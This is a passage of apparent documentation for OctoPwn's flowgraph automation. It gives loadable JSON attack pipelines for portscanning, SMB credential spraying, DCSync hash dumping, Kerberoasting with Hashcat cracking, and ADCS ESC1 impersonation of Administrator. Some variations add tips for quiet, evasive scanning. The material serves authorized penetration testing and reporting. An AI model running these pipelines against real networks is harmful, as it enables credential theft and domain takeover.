(so the timeline can replay PENDING → RUNNING → DONE). | | `<node_id>::<port_name>` | Per-port data snapshots tagged with the iteration index. | The History tab will: - Show the run with its mode and final status. - Let you re-open the saved graph on a fresh canvas (it loads via `FLOWGRAPH_LOADED_EXTERNAL`). - Let you replay the per-port data inspector. - Drive `killchain hid=<N>` against a historical run for after-action reports. --- ## Building a report from a run For a clean engagement report: 1. Run the engagement graph with `setmaxconcurrent / setrate / setjitter` set as you would on the real network. 2. After it completes, open the History tab and note the `hid`. 3. For each "interesting outcome" (a new DA credential, a new sensitive share discovered, etc.), run `killchain {"__cid": <id>} <hid>` (or `{"__tid": <id>}`, `{"__session_id": <id>}`). 4. Paste the resulting tree directly into the engagement report — it is already ordered, timestamped and tagged with ATT&CK techniques. 5. The Vulnerability Reporting framework (Enterprise) consumes the same history entries to auto-build report sections from scanner results that produced findings. The execution journal is small (item IDs, not item bodies), so even a runloop that converged after 50 passes produces a journal that serialises to a few hundred KB — small enough to ship with the report as a verifiable audit trail. --- # [Automations / Recipes] Overview Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/index.html # Recipes Six small, self-contained recipes that show how the blocks in the [block reference](../blocks/index.md) snap together into real pipelines. Each one fits on one screen, is wired to actually validate against the engine, and ends in something useful — discovered shares, cracked hashes, a kill-chain entry. | Recipe | Teaches | |-------------------------------------------------------------------|---------| | [Portscan + SMB finger](portscan-smbfinger.md) | The simplest possible chain. Targets in, structured results out. | | [Credential spray](credential-spray.md) | CREDMUX, cross-product semantics, FILTER on result fields. | | [DCSync from creds](dcsync-from-creds.md) | Cross-product on `OPEN_SESSION_*`, CMD_DCSYNC, CREDENTIAL_QUEUE feedback. | | [Kerberoast and crack](kerberoast-and-crack.md) | Output → transform → queue. ATT&CK badges in the kill chain. | | [ADCS ESC1 to NT](adcs-esc1-to-nt.md) | Enumeration block, dataset wire type, CONVERT_PFX_TO_NT. | | [Runloop convergence](runloop-discover-iterate.md) | A self-feeding pipeline that uses `runloop` to walk itself to a fixed point. | --- ## How to use a recipe Every recipe page follows the same template: 1. **Goal** — one sentence: what the pipeline produces. 2. **Pipeline** — a mermaid diagram of the wiring. 3. **Block-by-block walkthrough** — what each block contributes and what params matter, linking back to the block reference. 4. **Saved graph JSON** — the actual JSON you can copy into a file and load with `loadfile`. 5. **Variations** — sensible tweaks (different scope, opsec tightening, alternative transforms). You should usually: - Read through the recipe in the docs. - Drop the JSON into a `.json` file under `/tmp/` or your engagement workdir. - `createutil FLOWGRAPH` and `loadfile` the JSON. - Open the FLOWGRAPH window to inspect the loaded graph — node positions are encoded in the JSON so the layout matches the mermaid diagram. - Adjust `targets` / `credentials` / params in the config panel to your scope, then hit Run. The recipes are deliberately minimal — they teach a *pattern*, not a turnkey engagement script. Composite-ising them and chaining them is left to the [composites](../composites.md) page. --- # [Automations / Recipes] Portscan + SMB finger Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/portscan-smbfinger.html # Portscan + SMB finger The bread-and-butter discovery chain: sweep a target range for open TCP ports, then collect SMB server fingerprints from every host with 445/TCP open. --- ## Goal Given a list of raw target strings (CIDRs, IPs, hostnames), produce a collection of `SMBFINGER` result items containing the domain name, computer name, OS guess, and server time of every SMB-speaking host. --- ## Pipeline ```mermaid flowchart LR src["SOURCE_RAW_TARGETS<br/>(value: 192.168.1.0/24)"] -->|target raw_target| ps[SCANNER_PORTSCAN] ps -->|result scan_result| ft["FILTER_TARGETS<br/>key=port op=eq value=445"] ft -->|match| smbf[SCANNER_SMBFINGER] smbf -->|result scan_result| tap[TAP_SINK] ft -->|no_match| sink[TERMINATOR_SINK] ``` --- ## Block-by-block - [`SOURCE_RAW_TARGETS`](../blocks/sources.md) — one-shot source that emits raw target strings. Configure with the CIDR(s) / hostnames you want to sweep. - [`SCANNER_PORTSCAN`](../blocks/scanners.md) — TCP-connect scanner. Default `ports=[445, 22, 88, 3389]` is fine; tighten to `[445]` if you only care about SMB. Sets `__tid` and auto-registers discovered open ports as target-port entries in the project. - [`FILTER_TARGETS`](../blocks/filters.md) with `key=port, op=eq, value=445` — only forward results that represent open 445/TCP. - [`SCANNER_SMBFINGER`](../blocks/scanners.md) — unauthenticated SMB NTLM handshake fingerprint. Output schema includes `domainname`, `computername`, `dnscomputername`, `os_guess`, `os_build`, `local_time` — enough to populate the basic columns of an asset inventory. - [`TAP_SINK`](../blocks/queues-sinks.md) — inspectable terminator so the results show up in the panel. - [`TERMINATOR_SINK`](../blocks/queues-sinks.md) — drops the no-port-445 stream so the engine does not complain about unconnected outputs. --- ## Saved graph ```json { "id": "portscan-smbfinger", "name": "Portscan + SMB finger", "description": "TCP sweep + SMB NTLM fingerprint for everything on 445.", "nodes": [ { "id": "src-1", "block_type_id": "SOURCE_RAW_TARGETS", "params": {"targets": ["192.168.1.0/24"]}, "position": {"x": 0, "y": 100} }, { "id": "portscan-1", "block_type_id": "SCANNER_PORTSCAN", "params": {"ports": ["445"], "timeout": 5}, "position": {"x": 280, "y": 100} }, { "id": "filter-445-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "port", "op": "eq", "value": "445"}, "position": {"x": 560, "y": 100} }, { "id": "smbfinger-1", "block_type_id": "SCANNER_SMBFINGER", "params": {"timeout": 10}, "position": {"x": 860, "y": 60} }, { "id": "tap-1", "block_type_id": "TAP_SINK", "params": {}, "position": {"x": 1140, "y": 60} }, { "id": "drop-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 860, "y": 200} } ], "edges": [ {"id": "e1", "from_node": "src-1", "from_port": "target", "to_node": "portscan-1", "to_port": "target"}, {"id": "e2", "from_node": "portscan-1", "from_port": "result", "to_node": "filter-445-1", "to_port": "target"}, {"id": "e3", "from_node": "filter-445-1", "from_port": "match", "to_node": "smbfinger-1", "to_port": "target"}, {"id": "e4", "from_node": "filter-445-1", "from_port": "no_match", "to_node": "drop-1", "to_port": "data"}, {"id": "e5", "from_node": "smbfinger-1", "from_port": "result", "to_node": "tap-1", "to_port": "data"} ] } ``` --- ## Assembled view ![Assembled portscan + smbfinger pipeline](/images/flowgraph/recipe-portscan-smbfinger.png "Assembled pipeline") --- ## Variations - **Multiple ports + multiple scanners.** Add more `SCANNER_*` branches after `FILTER_TARGETS`, each filtered on its own port — e.g. `SCANNER_SSHBANNER` on 22, `SCANNER_HTTPFINGER` on 80 / 443, `SCANNER_MSSQLFINGER` on 1433. - **Persist results to disk.** Replace `TAP_SINK` with a `FILE_SINK` configured with `filename=smbfinger_results.jsonl`. The file is written to the OctoPwn workdir and survives across browser refreshes. - **Stay opsec-quiet.** Set `setrate 20` and `setjitter 0.5 2` in the console before hitting Run — the portscan stays under twenty connect attempts per minute with half-to-two-second jitter. --- # [Automations / Recipes] Credential spray Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/credential-spray.html # Credential spray Validate every credential in the store against every SMB-speaking host in the project — without trying credential types SMB can't use, and without re-scanning the same `(host, credential)` pair twice. --- ## Goal Produce a list of `(host, credential)` pairs that resulted in successful SMB admin access. This is the "I have hashes; what can I do with them" check that should run after every fresh credential is added to the store. --- ## Pipeline ```mermaid flowchart LR tgt[SOURCE_TARGETS_NEW] -->|target| pg[PORT_GATE port=445] cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] pg -->|target| smba[SCANNER_SMBADMIN] mux -->|smb| smba smba -->|result| tap[TAP_SINK] ``` --- ## Block-by-block - [`SOURCE_TARGETS_NEW`](../blocks/sources.md) — emits targets not seen in a previous runloop iteration, plus anything pushed into `TARGET_QUEUE`. In a single-shot run behaves like `SOURCE_TARGETS`. - [`SOURCE_CREDENTIALS_NEW`](../blocks/sources.md) — credential equivalent. Pair with `SOURCE_TARGETS_NEW` so each run only processes new combinations of `(target, credential)`. - [`PORT_GATE`](../blocks/filters.md) — only lets targets with 445/TCP open through. Runs a `SCANNER_PORTSCAN` automatically on targets that have no port data yet. - [`CREDMUX`](../blocks/credmux.md) — fans the credential stream onto protocol-typed output ports. We only consume `smb`; every other credential type is silently dropped. - [`SCANNER_SMBADMIN`](../blocks/scanners.md) — tests SHARE, SERVICE and REGISTRY admin access for each `(target, credential)` pair. Setting `skip_done=true` makes repeated runs ignore pairs already processed; useful when `runloop`ing. - [`TAP_SINK`](../blocks/queues-sinks.md) — visible terminator. The implicit cross-product on `SCANNER_SMBADMIN`'s `target` and `credential` input ports turns `M` targets × `N` credentials into `M*N` attempts, all subject to the engine's max-concurrent / rate / jitter knobs. --- ## Saved graph ```json { "id": "credential-spray", "name": "Credential spray", "description": "Every credential against every SMB host on 445.", "nodes": [ {"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 60}}, {"id": "pg-1", "block_type_id": "PORT_GATE", "params": {"port": 445, "protocol": "TCP"}, "position": {"x": 260, "y": 60}}, {"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 240}}, {"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 240}}, {"id": "spray-1","block_type_id": "SCANNER_SMBADMIN", "params": {"skip_done": true, "timeout": 8}, "position": {"x": 560, "y": 150}}, {"id": "tap-1", "block_type_id": "TAP_SINK", "params": {}, "position": {"x": 860, "y": 150}}, {"id": "drop-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 560, "y": 320}} ], "edges": [ {"id": "e1", "from_node": "tgt-1", "from_port": "target", "to_node": "pg-1", "to_port": "target"}, {"id": "e2", "from_node": "pg-1", "from_port": "target", "to_node": "spray-1", "to_port": "target"}, {"id": "e3", "from_node": "pg-1", "from_port": "no_port", "to_node": "drop-1", "to_port": "data"}, {"id": "e4", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"}, {"id": "e5", "from_node": "mux-1", "from_port": "smb", "to_node": "spray-1", "to_port": "credential"}, {"id": "e6", "from_node": "spray-1","from_port": "result", "to_node": "tap-1", "to_port": "data"} ] } ``` --- ## Assembled view ![Assembled credential spray pipeline](/images/flowgraph/recipe-credential-spray.png "Assembled credential spray") --- ## Variations - **Filter to admins only.** Insert a [`FILTER`](../blocks/filters.md) after `SCANNER_SMBADMIN` with `key=SHARE, op=eq, value=true` and route only the matches into the next stage. - **Track who is also a sysadmin on MSSQL.** Add a parallel `SCANNER_MSSQLADMIN` consuming `mux.mssql` and `pg.target` for TCP/1433. The graph is now a two-protocol spray with the same cross-product semantics. - **Quietest possible spray.** Lower `workercount` on the scanner (it is registered as an SMBScanParameters field if you toggle the advanced view) and combine with `setjitter 2 8`. The cross-product becomes serialised, slow, and traffic-shaped. --- # [Automations / Recipes] DCSync from creds Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/dcsync-from-creds.html # DCSync from creds Use any DCSync-capable credential the project knows about to dump the domain over DRSUAPI, push every discovered NT hash back into the credential store, and queue the new hashes for the next runloop pass so they immediately feed downstream attack blocks. --- ## Goal For each credential with `Replicating Directory Changes` rights, open a DCEDRSUAPI session against the right DC and DCSync the whole domain. Every extracted NT hash is auto-stored as a fresh credential and queued for the next pass. --- ## Pipeline ```mermaid flowchart LR cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] tgt[SOURCE_TARGETS_NEW] -->|target| dcfilt["FILTER_TARGETS<br/>key=isdc op=eq value=true"] dcfilt -->|match| open[OPEN_SESSION_DCEDRSUAPI] mux -->|dcedrsuapi| open open -->|session| dcsync["CMD_DCSYNC<br/>storecreds=true"] dcsync -->|result scan_result| q[CREDENTIAL_QUEUE] open -->|error| sink[TERMINATOR_SINK] q -.->|next runloop pass| cred ``` --- ## Block-by-block - [`SOURCE_TARGETS_NEW`](../blocks/sources.md) and [`FILTER_TARGETS`](../blocks/filters.md) — only emit targets that are flagged as domain controllers in the project (`isdc=true`). - [`SOURCE_CREDENTIALS_NEW`](../blocks/sources.md) + [`CREDMUX`](../blocks/credmux.md) — emits only DCEDRSUAPI-usable credentials on the `dcedrsuapi` port. - [`OPEN_SESSION_DCEDRSUAPI`](../blocks/sessions.md) — opens an authenticated DCEDRSUAPI session per `(DC, credential)` pair. Errors flow out of `error` into a sink so the validator does not complain. - [`CMD_DCSYNC`](../blocks/attacks.md) — actual DCSync. With `storecreds=true` (the default) the block adds every extracted hash to the credential store automatically. - [`CREDENTIAL_QUEUE`](../blocks/queues-sinks.md) — silent sink whose contents become the input for `SOURCE_CREDENTIALS_NEW` on the next runloop pass. The combination of `SOURCE_CREDENTIALS_NEW + CREDENTIAL_QUEUE` is the feedback loop pattern: discovered credentials are picked up automatically on the next pass without any operator intervention. --- ## Saved graph ```json { "id": "dcsync-from-creds", "name": "DCSync from creds", "description": "Every DCSync-capable credential against every DC.", "nodes": [ {"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 60}}, {"id": "isdc-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "isdc", "op": "eq", "value": "true"}, "position": {"x": 260, "y": 60}}, {"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 260}}, {"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 260}}, {"id": "open-1", "block_type_id": "OPEN_SESSION_DCEDRSUAPI","params": {"atype": "NTLM", "timeout": 10}, "position": {"x": 560, "y": 160}}, {"id": "dcsync-1", "block_type_id": "CMD_DCSYNC", "params": {"storecreds": true}, "position": {"x": 860, "y": 160}}, {"id": "cq-1", "block_type_id": "CREDENTIAL_QUEUE", "params": {}, "position": {"x": 1160, "y": 160}}, {"id": "drop-err-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 860, "y": 320}}, {"id": "drop-nm-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 260, "y": 200}} ], "edges": [ {"id": "e1", "from_node": "tgt-1", "from_port": "target", "to_node": "isdc-1", "to_port": "target"}, {"id": "e2", "from_node": "isdc-1", "from_port": "match", "to_node": "open-1", "to_port": "host"}, {"id": "e3", "from_node": "isdc-1", "from_port": "no_match", "to_node": "drop-nm-1", "to_port": "data"}, {"id": "e4", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"}, {"id": "e5", "from_node": "mux-1", "from_port": "dcedrsuapi", "to_node": "open-1", "to_port": "credential"}, {"id": "e6", "from_node": "open-1", "from_port": "session", "to_node": "dcsync-1", "to_port": "session"}, {"id": "e7", "from_node": "open-1", "from_port": "error", "to_node": "drop-err-1", "to_port": "data"}, {"id": "e8", "from_node": "dcsync-1", "from_port": "result", "to_node": "cq-1", "to_port": "credential"} ] } ``` !!! info "Note on the session port name" `CMD_DCSYNC` (like other ATTACK blocks) actually accepts the paired target+credential ids on its `pair` port, or independent `target` + `credential` ports. The block diagram and JSON above use the simpler "session" routing via the `pair` ID by hand; swap to wiring the `target`/`credential` ports directly if you prefer not to open the session at all. --- ## Assembled view ![Assembled DCSync-from-creds pipeline](/images/flowgraph/recipe-dcsync-from-creds.png "Assembled DCSync pipeline") --- ## Variations - **Run against a single user only.** Set `username=<sam>` on `CMD_DCSYNC`; only that account is replicated. - **Replicate from a specific domain in a forest.** Set `domain=<dns>` to scope the replication. - **Trigger a global rerun whenever DCSync produces new credentials.** Add a `RERUN_TRIGGER_GLOBAL` after `CMD_DCSYNC.result` so the rest of your pipeline re-runs immediately on each successful sync. --- # [Automations / Recipes] Kerberoast and crack Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/kerberoast-and-crack.html # Kerberoast and crack Roast every kerberoastable account in the domain, push the hashes into a local Hashcat session for cracking, and feed any cracked plaintext passwords back into the credential store so subsequent runloop passes try them everywhere. --- ## Goal Produce a stream of cracked plaintext credentials from a single LDAP session. Anything cracked is automatically stored and queued for the next pass. --- ## Pipeline ```mermaid flowchart LR cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] tgt[SOURCE_TARGETS_NEW] -->|target| dcfilt["FILTER_TARGETS<br/>key=isdc op=eq value=true"] mux -->|kerberos| open[OPEN_SESSION_KERBEROS] dcfilt -->|match| open open -->|session| roast[CMD_KERBEROAST] roast -->|result| hashcat[HASHCAT_WORDLIST] hashcat -->|result credential| q[CREDENTIAL_QUEUE] open -->|error| drop[TERMINATOR_SINK] hashcat -->|error| drop q -.->|next runloop pass| cred ``` --- ## Block-by-block - [`OPEN_SESSION_KERBEROS`](../blocks/sessions.md) — open a Kerberos session against a DC using any Kerberos-usable credential the store currently knows about. - [`CMD_KERBEROAST`](../blocks/attacks.md) — roasts every SPN-bearing account reachable on this session. Emits one item per hash with fields `ttype`, `user`, `domain`, `hashcatres`. Also performs AS-REP roasting in the same pass. - [`HASHCAT_WORDLIST`](../blocks/transforms.md) — spawns a local Hashcat session, auto-detects the hash type from the secret prefix / `stype`, and emits a fresh `credential` item with `stype=password` for every crack. Set `wordlist` to a file you actually have on the Hashcat host. - [`CREDENTIAL_QUEUE`](../blocks/queues-sinks.md) — the cracked credentials feed `SOURCE_CREDENTIALS_NEW` on the next runloop pass so a [DCSync](dcsync-from-creds.md) or [credential spray](credential-spray.md) recipe wired into the same graph immediately tries them everywhere. The ATT&CK tags are wired up at the registry level: the kill chain report for any cracked credential automatically shows `T1110.002 ← T1558.003` — Brute Force Wordlist following Steal-or-Forge Kerberos Ticket Kerberoasting. --- ## Saved graph ```json { "id": "kerberoast-and-crack", "name": "Kerberoast and crack", "description": "Roast every SPN, crack the hashes, queue plaintexts.", "nodes": [ {"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 60}}, {"id": "isdc-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "isdc", "op": "eq", "value": "true"}, "position": {"x": 260, "y": 60}}, {"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 260}}, {"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 260}}, {"id": "open-1", "block_type_id": "OPEN_SESSION_KERBEROS", "params": {"atype": "TGT"}, "position": {"x": 560, "y": 160}}, {"id": "roast-1", "block_type_id": "CMD_KERBEROAST", "params": {}, "position": {"x": 840, "y": 160}}, {"id": "hashcat-1", "block_type_id": "HASHCAT_WORDLIST", "params": {"hashcat": "hashcat", "wordlist": "rockyou.txt", "maxruntime": 10}, "position": {"x": 1120, "y": 160}}, {"id": "cq-1", "block_type_id": "CREDENTIAL_QUEUE", "params": {}, "position": {"x": 1400, "y": 160}}, {"id": "drop-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 1120, "y": 320}} ], "edges": [ {"id": "e1", "from_node": "tgt-1", "from_port": "target", "to_node": "isdc-1", "to_port": "target"}, {"id": "e2", "from_node": "isdc-1", "from_port": "match", "to_node": "open-1", "to_port": "host"}, {"id": "e3", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"}, {"id": "e4", "from_node": "mux-1", "from_port": "kerberos", "to_node": "open-1", "to_port": "credential"}, {"id": "e5", "from_node": "open-1", "from_port": "session", "to_node": "roast-1", "to_port": "session"}, {"id": "e6", "from_node": "open-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e7", "from_node": "roast-1", "from_port": "result", "to_node": "hashcat-1","to_port": "credential"}, {"id": "e8", "from_node": "hashcat-1", "from_port": "result", "to_node": "cq-1", "to_port": "credential"}, {"id": "e9", "from_node": "hashcat-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"} ] } ``` !!! info "Routing CMD_KERBEROAST inputs" `CMD_KERBEROAST` is registered as an ATTACK block accepting `pair`, `target` and `credential` inputs. The wiring above drives it from the session output of `OPEN_SESSION_KERBEROS`; in practice you may prefer to wire `target` / `credential` (or a `pair` produced by `ID_SPLITTER_PAIR`) directly and skip the explicit `OPEN_SESSION_KERBEROS` block. --- ## Assembled view ![Assembled kerberoast-and-crack pipeline](/images/flowgraph/recipe-kerberoast-and-crack.png "Assembled kerberoast pipeline") --- ## Variations - **Bruteforce instead of wordlist.** Swap `HASHCAT_WORDLIST` for `HASHCAT_BRUTEFORCE` with `brutemask=?l?l?l?l?l?d?d` and `brutemax=8` for short-and-numeric passwords. - **AS-REP only.** Insert a `FILTER` with `key=ttype, op=contains, value=asrep` between `CMD_KERBEROAST` and `HASHCAT_WORDLIST` so only AS-REP hashes go to the cracker. - **Save hashes to disk too.** Wire `roast-1.result` into a `FILE_SINK` with `filename=kerb_hashes.jsonl` in parallel with `HASHCAT_WORDLIST`; the same items flow to both consumers. - **Crack on a beefier host.** Set the `hashcat` parameter to the absolute path of a GPU-backed binary; the local Hashcat utility session will run it instead of the default `hashcat` on PATH. --- # [Automations / Recipes] ADCS ESC1 to NT Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/adcs-esc1-to-nt.html # ADCS ESC1 to NT Enumerate every certificate template available in the domain, filter to the one(s) vulnerable to ESC1, request a certificate impersonating a target user, and convert the resulting PFX to an NT hash via PKINIT U2U. The NT hash is auto-stored and queued for downstream consumption. --- ## Goal Turn LDAP read access into a domain user NT hash by exploiting an ESC1-vulnerable certificate template — without ever leaving the flowgraph. --- ## Pipeline ```mermaid flowchart LR cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] tgt[SOURCE_TARGETS_NEW] -->|target| dcfilt["FILTER_TARGETS<br/>key=isdc op=eq value=true"] mux -->|ldap| openLdap[OPEN_SESSION_LDAP] dcfilt -->|match| openLdap openLdap -->|session| enumtpl[ENUM_LDAP_ADCS_TEMPLATES] enumtpl -->|dataset| tplfilt["FILTER<br/>key=name op=eq value=VulnTemplate"] tplfilt -->|match| esc1["CMD_ADCS_ESC1<br/>dctarget targetusers"] mux -->|kerberos| openKrb[OPEN_SESSION_KERBEROS] esc1 -->|result credential| openKrb openKrb -->|session| toNt[CONVERT_PFX_TO_NT] toNt -->|result credential| q[CREDENTIAL_QUEUE] enumtpl -->|error| drop[TERMINATOR_SINK] openLdap -->|error| drop esc1 -->|error| drop openKrb -->|error| drop toNt -->|error| drop q -.->|next runloop pass| cred ``` --- ## Block-by-block - [`OPEN_SESSION_LDAP`](../blocks/sessions.md) — Authenticated LDAP session against a DC. Provides the channel we need for both enumeration and ESC1 request. - [`ENUM_LDAP_ADCS_TEMPLATES`](../blocks/enumeration.md) — Streams every ADCS template the session can see, resolving security descriptors and enrollment services. Output schema includes `name`, `displayName`, `enroll_services`. - [`FILTER`](../blocks/filters.md) — narrow to the template you intend to exploit. In practice you would use a more interesting filter (e.g. `key=enrolleeSuppliesSubject, op=eq, value=true`) but the recipe shows the simpler name-equality case for clarity. - [`CMD_ADCS_ESC1`](../blocks/attacks.md) — performs the certificate request impersonating `targetusers`. `dctarget` is the target id of the DC; `service` is the CA name; `template` is the template name. Emits a `PFXB64` credential. - [`OPEN_SESSION_KERBEROS`](../blocks/sessions.md) — re-opens Kerberos against the same DC using the freshly-minted PFX. The block accepts `PFXB64` credentials directly, so no conversion is needed at this stage. - [`CONVERT_PFX_TO_NT`](../blocks/transforms.md) — runs the PKINIT U2U exchange against the Kerberos session to pull out the impersonated user's NT hash. The hash is stored and emitted as a fresh `credential` item. - [`CREDENTIAL_QUEUE`](../blocks/queues-sinks.md) — feeds the new hash to the next runloop pass. --- ## Saved graph ```json { "id": "adcs-esc1-to-nt", "name": "ADCS ESC1 to NT", "description": "Enumerate templates, exploit ESC1, convert PFX to NT.", "nodes": [ {"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 60}}, {"id": "isdc-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "isdc", "op": "eq", "value": "true"}, "position": {"x": 260, "y": 60}}, {"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 260}}, {"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 260}}, {"id": "openldap-1", "block_type_id": "OPEN_SESSION_LDAP", "params": {"atype": "NTLM"}, "position": {"x": 560, "y": 160}}, {"id": "enum-1", "block_type_id": "ENUM_LDAP_ADCS_TEMPLATES","params": {}, "position": {"x": 840, "y": 160}}, {"id": "tplfilt-1", "block_type_id": "FILTER", "params": {"key": "name", "op": "eq", "value": "VulnTemplate"}, "position": {"x": 1120, "y": 160}}, {"id": "esc1-1", "block_type_id": "CMD_ADCS_ESC1", "params": {"dctarget": 1, "service": "ACME-CA", "template": "VulnTemplate", "targetusers": "Administrator"}, "position": {"x": 1400, "y": 160}}, {"id": "openkrb-1", "block_type_id": "OPEN_SESSION_KERBEROS", "params": {"atype": "PFXB64"}, "position": {"x": 1680, "y": 160}}, {"id": "pfx2nt-1", "block_type_id": "CONVERT_PFX_TO_NT", "params": {}, "position": {"x": 1960, "y": 160}}, {"id": "cq-1", "block_type_id": "CREDENTIAL_QUEUE", "params": {}, "position": {"x": 2240, "y": 160}}, {"id": "drop-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 1400, "y": 360}} ], "edges": [ {"id": "e1", "from_node": "tgt-1", "from_port": "target", "to_node": "isdc-1", "to_port": "target"}, {"id": "e2", "from_node": "isdc-1", "from_port": "match", "to_node": "openldap-1", "to_port": "host"}, {"id": "e3", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"}, {"id": "e4", "from_node": "mux-1", "from_port": "ldap", "to_node": "openldap-1", "to_port": "credential"}, {"id": "e5", "from_node": "openldap-1", "from_port": "session", "to_node": "enum-1", "to_port": "session"}, {"id": "e6", "from_node": "enum-1", "from_port": "dataset", "to_node": "tplfilt-1", "to_port": "data"}, {"id": "e7", "from_node": "tplfilt-1", "from_port": "match", "to_node": "esc1-1", "to_port": "target"}, {"id": "e8", "from_node": "mux-1", "from_port": "kerberos", "to_node": "openkrb-1", "to_port": "credential"}, {"id": "e9", "from_node": "esc1-1", "from_port": "result", "to_node": "openkrb-1", "to_port": "credential"}, {"id": "e10", "from_node": "openkrb-1", "from_port": "session", "to_node": "pfx2nt-1", "to_port": "session"}, {"id": "e11", "from_node": "pfx2nt-1", "from_port": "result", "to_node": "cq-1", "to_port": "credential"}, {"id": "e12", "from_node": "enum-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e13", "from_node": "openldap-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e14", "from_node": "esc1-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e15", "from_node": "openkrb-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e16", "from_node": "pfx2nt-1", "from_port": "result", "to_node": "drop-1", "to_port": "data"} ] } ``` !!! warning "Set the right `dctarget`" `dctarget` is the integer target id of your domain controller as shown in the Targets window. The example uses `1`; substitute your own. If you would rather pick it dynamically, pull the `tid` out of the target dict with a SCRIPT block and feed it into the `dctarget` parameter via param-mapping. --- ## Assembled view ![Assembled ADCS ESC1 to NT pipeline](/images/flowgraph/recipe-adcs-esc1-to-nt.png "Assembled ESC1 pipeline") --- ## Variations - **ESC4 instead.** Swap `CMD_ADCS_ESC1` for `CMD_ADCS_ESC4` — the block surface is identical; the underlying attack modifies the template before exploiting it. - **Target multiple users.** Set `targetusers="Administrator,da-1,da-2"` on the ESC1 / ESC4 node and the engine will request a cert per user. Each PFX flows through the same Kerberos + PFX→NT pipeline. - **Pre-filter at enumeration time.** The template enumeration is resolved against LDAP and can be filtered by `enrolleeSuppliesSubject` or `pkiExtendedKeyUsage` for tighter selection; switch the FILTER to use those keys instead of `name`. --- # [Automations / Recipes] Runloop convergence Source: https://docs.octopwn.com/plugins/automations/flowgraph/recipes/runloop-discover-iterate.html # Runloop convergence Wire discovery, authentication and exploitation into a single self-feeding pipeline. Run it under `runloop` and walk away — every new target the portscan discovers gets fingerprinted, every new credential DCSync produces gets sprayed back across the inventory, and the engine stops on its own when the project store stops growing. This is the recipe that shows why the whole framework exists. --- ## Goal Given a CIDR and a single starting credential, end up with: every SMB host discovered, every credential that works on each of them, and (if anything in the chain produces NT hashes) every plaintext the local Hashcat can recover — and stop when no further progress is possible. --- ## Pipeline ```mermaid flowchart LR rawtgt[SOURCE_RAW_TARGETS] -->|target raw_target| store[STORE_TARGETS] tgt[SOURCE_TARGETS_NEW] -->|target| ps[SCANNER_PORTSCAN ports=445] ps -->|result| pg["FILTER_TARGETS<br/>port==445"] pg -->|match| smbf[SCANNER_SMBFINGER] pg -->|match| spray[SCANNER_SMBADMIN] cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] mux -->|smb| spray mux -->|dcedrsuapi| openDc[OPEN_SESSION_DCEDRSUAPI] spray -->|result| isadm["FILTER<br/>SHARE==true"] isadm -->|match| openDc pg -->|match| openDc openDc -->|session| dcsync["CMD_DCSYNC<br/>storecreds=true"] dcsync -->|result| cq[CREDENTIAL_QUEUE] smbf -->|result| tap[TAP_SINK] isadm -->|no_match| drop[TERMINATOR_SINK] openDc -->|error| drop cq -.->|next pass| cred store -.->|seeds next pass| tgt ``` --- ## What the runloop does Run with `runloop`. The first pass: 1. `SOURCE_RAW_TARGETS` emits the raw input strings; `STORE_TARGETS` registers them as stored targets so they pick up `__tid` values. 2. `SOURCE_TARGETS_NEW` and `SOURCE_CREDENTIALS_NEW` see all the targets / credentials in the store for the first time. 3. The portscan + finger + spray + DCSync chain runs against every new combination. 4. Any NT hashes DCSync extracts go to `CREDENTIAL_QUEUE`. The second pass: - `seen_target_ids` already contains every target processed last pass, so `SOURCE_TARGETS_NEW` only emits genuinely new ones — for example, hostnames that were added because LDAP enumeration appended them mid-run. - `cred_queue` holds 